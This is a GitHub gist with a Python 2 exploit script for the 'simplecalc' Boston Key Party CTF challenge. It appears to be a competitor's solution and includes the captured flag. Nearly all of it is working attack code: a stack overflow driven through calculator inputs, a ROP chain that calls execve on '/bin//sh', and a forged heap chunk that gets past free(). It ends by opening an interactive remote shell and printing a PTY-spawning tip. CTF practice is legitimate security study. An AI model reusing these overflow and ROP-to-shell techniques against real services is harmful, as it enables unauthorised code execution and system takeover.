Created
March 8, 2016 12:47
-
-
Save hugsy/7bcb5db17b75a86ae3bd to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# $ cat key | |
# BKPCTF{th3 l4st 1 2 3z} | |
# | |
import socket, struct, sys, telnetlib, binascii, random | |
HOST = "simplecalc.bostonkey.party" | |
HOST = "localhost" | |
PORT = 5500 | |
def hexdump(src, length=0x10): | |
f=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) ; n=0 ; result='' | |
while src: | |
s,src = src[:length],src[length:]; hexa = ' '.join(["%02X"%ord(x) for x in s]) | |
s = s.translate(f) ; result += "%04X %-*s %s\n" % (n, length*3, hexa, s); n+=length | |
return result | |
def xor(data, key): return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(data, itertools.cycle(key))) | |
def h_s(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i) | |
def h_u(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0] | |
def i_s(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i) | |
def i_u(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0] | |
def q_s(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i) | |
def q_u(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0] | |
def _xlog(x): | |
sys.stderr.write(x + "\n") | |
sys.stderr.flush() | |
return | |
def err(msg): _xlog("[!] %s" % msg) | |
def ok(msg): _xlog("[+] %s" % msg) | |
def dbg(msg): _xlog("[*] %s" % msg) | |
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg)) | |
def build_socket(host, port): | |
s = telnetlib.Telnet(HOST, PORT) | |
ok("Connected to %s:%d" % (host, port)) | |
return s | |
def interact(s): | |
try: | |
ok("""Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '""") | |
s.interact() | |
except KeyboardInterrupt: | |
ok("Leaving") | |
except Exception as e: | |
err("Unexpected exception: %s" % e) | |
return | |
def do_add(s, op_1, op_2): | |
s.write("1\n") | |
s.read_until("Integer x: ") | |
s.write("{:d}\n".format(op_1)) | |
s.read_until("Integer y: ") | |
s.write("{:d}\n".format(op_2)) | |
s.read_until("Result for x + y is ") | |
res = int(s.read_until(".\n")[:-2]) | |
return res | |
def do_sub(s, op_1, op_2): | |
s.write("2\n") | |
s.read_until("Integer x: ") | |
s.write("{:d}\n".format(op_1)) | |
s.read_until("Integer y: ") | |
s.write("{:d}\n".format(op_2)) | |
s.read_until("Result for x - y is ") | |
res = int(s.read_until(".\n")[:-2]) | |
return res | |
def do_mul(s, op_1, op_2): | |
s.write("3\n") | |
s.read_until("Integer x: ") | |
s.write("{:d}\n".format(op_1)) | |
s.read_until("Integer y: ") | |
s.write("{:d}\n".format(op_2)) | |
s.read_until("Result for x * y is ") | |
res = int(s.read_until(".\n")[:-2]) | |
return res | |
def do_div(s, op_1, op_2): | |
s.write("4\n") | |
s.read_until("Integer x: ") | |
s.write("{:d}\n".format(op_1)) | |
s.read_until("Integer y: ") | |
s.write("{:d}\n".format(op_2)) | |
s.read_until("Result for x / y is ") | |
res = int(s.read_until(".\n")[:-2]) | |
return res | |
def pwn(s): | |
free_ptr = 0x6C4A98 # @div_result | |
addrs = [0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, | |
0x41414141, 0x41414141, 0x41414141, 0x41414141, 0x41414141, | |
0x42424242, 0x43434343, # overwritten vars | |
free_ptr, 0x00000000, # @ div_operator_1 (ie @add_operator_1+0x10) | |
0x44444444, 0x44444444, # last overwritten vars | |
0x44444444, 0x44444444, # sfp | |
0x401c87, 0, # pop rsi ; ret | |
0x6c3110, 0x0, # addr rw | |
0x44db34, 0, # pop rax ; ret | |
0x6e69622f, 0x68732f2f, # /bin//sh | |
0x470f11, 0, # mov qword ptr [rsi], rax ; ret | |
0x447233, 0, # mov rax,rsi; ret | |
0x479295, 0, # mov edi, eax ; dec dword ptr [rax - 0x77] ; ret | |
0x44db34, 0x0, # pop rax | |
0x3b, 0, # syscall_execve | |
0x437aa9, 0x0, # pop rdx ; pop rsi ; ret | |
0, 0, | |
0, 0, | |
0x435675, 0, # syscall() | |
] | |
n = len(addrs)+1+2 | |
s.read_until("calculations: ") | |
s.write("{}\n".format(n)) | |
ok("Running %d calculations"%n) | |
for i in xrange(len(addrs)): | |
addr = addrs[i] | |
op_1, op_2 = addr-100 , 100 | |
s.read_until("=> ") | |
res = do_add(s, op_1, op_2) | |
# ok("Iter %d: got result %#x" % (i+1, res)) | |
ok("Building fake chunk %#x" % (free_ptr)) | |
# set add_result | |
s.read_until("=> ") | |
op1 = 0x11110a88 | |
op2 = 0x00001000 | |
do_add(s, op1, op2) | |
ok("prev_size=%#x+%#x=%#x" % (op2, op1, op1+op2)) | |
# set div_1 and div_2 | |
s.read_until("=> ") | |
op2, op1 = 0x9f, 0xfffeee578 | 2 | |
do_div(s, op1, op2) | |
ok("size=0x%.8x%.8x" % (op2, op1)) | |
# ok("Triggering exploit") | |
s.read_until("=> ") | |
s.write("5\n") | |
return True | |
def main(): | |
s = build_socket(HOST, PORT) | |
dbg("Attach to gdb and press enter") | |
raw_input() | |
if pwn(s): | |
ok("Got it, interacting (Ctrl-C to break)") | |
interact(s) | |
ret = 0 | |
else: | |
err("Failed to exploit") | |
ret = 1 | |
s.close() | |
return ret | |
if __name__ == "__main__": | |
sys.exit( main() ) | |
# auto-generated by gef |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment